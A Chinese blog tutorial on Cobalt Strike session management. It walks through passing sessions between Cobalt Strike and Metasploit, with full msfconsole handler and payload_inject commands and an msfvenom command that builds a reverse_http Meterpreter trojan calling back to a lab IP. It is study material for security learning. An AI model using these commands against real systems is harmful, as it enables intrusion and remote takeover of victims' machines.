Cobalt Strike 之:会话管理

郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

Cobalt Strike 之:会话管理

1 增加 CS 会话

  1. 添加新侦听器

    image-20211227220742641

  2. 在获得的 session 会话中选择"新建会话(spawn)":选择新添加的侦听器

    image-20211227220451077

  3. image-20211227220828410

  4. 获取到新的会话

    image-20211227220954446

2 利用 CS 会话生成 MSF 会话

  1. 添加新外部侦听器

    image-20211227221731475

  2. 配置 MSF 如下

    msf6 > use exploit/multi/handler 
    [*] Using configured payload generic/shell_reverse_tcp
    msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
    payload => windows/meterpreter/reverse_http
    msf6 exploit(multi/handler) > set lhost 192.168.0.2
    lhost => 192.168.0.2
    msf6 exploit(multi/handler) > set lport 480
    lport => 480
    msf6 exploit(multi/handler) > run 
    
  3. 在获得的 session 会话中选择"新建会话(spawn)":选择新添加的外部侦听器

    image-20211227222106687

  4. 获取到 meterpreter 会话

    image-20211227222629441

3 利用 msfvenom 生成的文件生成 MSF 会话

  1. 添加新侦听器

    image-20211227222920462

  2. MSF 生成与 CS 建立会话的木马

    sudo msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.0.2 LPORT=580 -f exe > /var/www/html/shell1.exe
    
  3. 在目标主机上运行 MSF 所生成的木马文件,获得 CS 会话

    image-20211227224535904

4 利用 MSF 会话生成 CS 会话

  1. 添加新侦听器

    image-20211227225545287

  2. 配置 MSF 如下

    msf6 exploit(multi/handler) > use exploit/windows/local/payload_inject 
    [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
    msf6 exploit(windows/local/payload_inject) > set session 3
    session => 3
    msf6 exploit(windows/local/payload_inject) > set payload windows/meterpreter/reverse_http
    payload => windows/meterpreter/reverse_http
    msf6 exploit(windows/local/payload_inject) > set lhost 192.168.0.2
    lhost => 192.168.0.2
    msf6 exploit(windows/local/payload_inject) > set lport 680
    lport => 680
    msf6 exploit(windows/local/payload_inject) > set disablepayloadhandler true 
    disablepayloadhandler => true
    # 将DisablePayLoadHandler设置为true。不使用 metasploit 来处理负载连接。
    

    image-20211227225655807

  3. 运行 payload 将 MSF 会话传递给 CS

    image-20211227230042580

posted @ 2022-01-25 22:01  f_carey  阅读(60)  评论(0编辑  收藏  举报